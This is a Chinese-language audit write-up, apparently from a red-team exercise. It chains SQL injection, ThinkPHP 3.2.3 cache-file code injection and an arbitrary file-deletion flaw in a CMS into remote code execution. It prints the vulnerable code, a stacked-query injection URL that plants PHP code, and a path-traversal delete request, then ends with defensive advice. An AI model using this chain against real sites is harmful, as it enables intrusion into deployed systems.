记一次hvv中供应链拿靶标的代码审计过程
字数 1337 2025-08-20 18:17:53
ThinkPHP 3.2.3 供应链攻击实战分析
前言
本文详细分析一个针对ThinkPHP 3.2.3框架CMS系统的供应链攻击案例,攻击者通过SQL注入、缓存漏洞和文件删除漏洞的组合利用,最终实现了系统控制。该CMS在互联网上有300+站点使用,具有广泛影响。
漏洞环境
- 框架版本:ThinkPHP 3.2.3
- 漏洞类型:SQL注入 + 缓存漏洞 + 文件删除漏洞
- 攻击链:SQL注入 → 插入恶意数据 → 删除缓存 → 触发缓存生成 → 获取Shell
漏洞分析
1. SQL注入漏洞
1.1 find()方法注入
在ThinkPHP 3.2.3中,find()、select()、delete()等方法可能存在SQL注入。审计发现以下代码:
function getPosition($catid) {
$cate = M('category')->find($catid);
$pos_id = array(['id' => $catid, 'name' => $cate['name']]);
}
find()方法直接使用未过滤的$catid参数,存在SQL注入。
1.2 调用链分析
public function position() {
$pos = getPosition(I('get.catid'));
$this->pos = $pos;
$this->display('Public:position');
}
攻击URL:
/index.php?s=/Cn/public/position&catid[where]=11111
1.3 利用限制
虽然可以通过注入获取数据,但后台密码加密无法解密,需要寻找其他利用方式。
2. 缓存漏洞
2.1 S()函数漏洞
ThinkPHP 3.2.3的S()缓存函数存在漏洞:
public function test02() {
S('name', "\nphpinfo();//");
}
当第二个参数可控时,可写入恶意代码到缓存文件。
2.2 缓存数据来源
发现setConfig函数通过数据库数据设置缓存:
function setConfig($name = 'ALL_CONFIG', $siteid = array()) {
$config = M('Config');
$where['status'] = 1;
if(!empty($siteid)) {
$where['siteid'] = array('in', $siteid);
}
$data = $config->field('id,name,title,value')->where($where)->order('sort ASC')->select();
$cache_data = array();
if(!empty($data)) {
foreach($data as $key => $value) {
$cache_data[$value['name']] = $value['value'];
}
}
S($name, $cache_data);
}
2.3 调用时机
在CommonController的_initialize方法中调用:
public function _initialize() {
$system_config = S('ALL_CONFIG' . C('SITEID'));
if(empty($system_config)) {
setConfig('ALL_CONFIG' . C('SITEID'), array(0, C('SITEID')));
$system_config = S('ALL_CONFIG' . C('SITEID'));
}
}
缓存文件路径为Apps\Runtime\Temp\94b4e91cbccc674ec30f286e193c1703.php(ALL_CONFIG1的MD5)
3. 任意文件删除漏洞
3.1 漏洞位置
在UeditorController中发现文件删除功能:
public function delFile() {
if(IS_POST){
$filename =I("filename");
if(!$filename){
$this->ajaxReturn(array("status"=>0,"msg"=>"文件不存在"));
}
$type =I("post.type");
$data_path = $this->data_path;
if($type == 1){
$data_path = $this->data_path.I("post.dirname")."/";
}
$dir = $data_path . $filename;
if(is_file($dir)){
$ok =unlink($dir);
if($ok){
$this->ajaxReturn(array("status"=>1,"msg"=>"删除成功"));
}
}
}
}
3.2 利用方式
通过构造路径可以删除任意文件:
filename=../../Apps/Runtime/Temp/94b4e91cbccc674ec30f286e193c1703.php
攻击链构建
1. 利用堆叠注入插入恶意数据
ThinkPHP 3.2.3使用PDO驱动,默认支持多语句查询,可利用堆叠注入:
/index.php?s=/Cn/public/position&catid[where]=11111;insert+into+yongsy_config(name,value)+values('1','511111222222111111333333\r\necho+md5(11);/*')%23
插入的value值包含换行和PHP代码注释,确保生成的缓存文件包含可执行代码。
2. 删除现有缓存文件
利用任意文件删除漏洞清除现有缓存:
POST /index.php?s=xxlogin/ueditor/delFile
filename=../../Apps/Runtime/Temp/94b4e91cbccc674ec30f286e193c1703.php
3. 触发缓存生成
访问任意页面触发_initialize方法,重新生成缓存文件。
4. 访问恶意缓存文件
生成的缓存文件路径为:
/Apps/Runtime/Temp/94b4e91cbccc674ec30f286e193c1703.php
访问该文件即可执行插入的恶意代码。
防御建议
- 输入过滤:对所有用户输入进行严格过滤,特别是数据库操作参数
- 禁用堆叠查询:配置PDO禁用多语句查询(
PDO::MYSQL_ATTR_MULTI_STATEMENTS => false) - 缓存安全:
- 对缓存内容进行安全检查
- 限制缓存文件的可执行权限
- 文件操作安全:
- 限制文件删除功能的目录范围
- 对用户提供的文件名进行严格校验
- 框架升级:升级到更高版本的ThinkPHP,修复已知漏洞
总结
本案例展示了如何通过组合利用多个漏洞实现系统入侵:
- 利用SQL注入插入恶意数据
- 利用文件删除漏洞清除现有缓存
- 触发系统重新生成包含恶意代码的缓存文件
- 通过访问缓存文件获取系统控制权
这种攻击方式对使用ThinkPHP 3.2.3的CMS系统具有普遍威胁,开发人员应重视供应链安全,及时更新框架版本并实施严格的安全措施。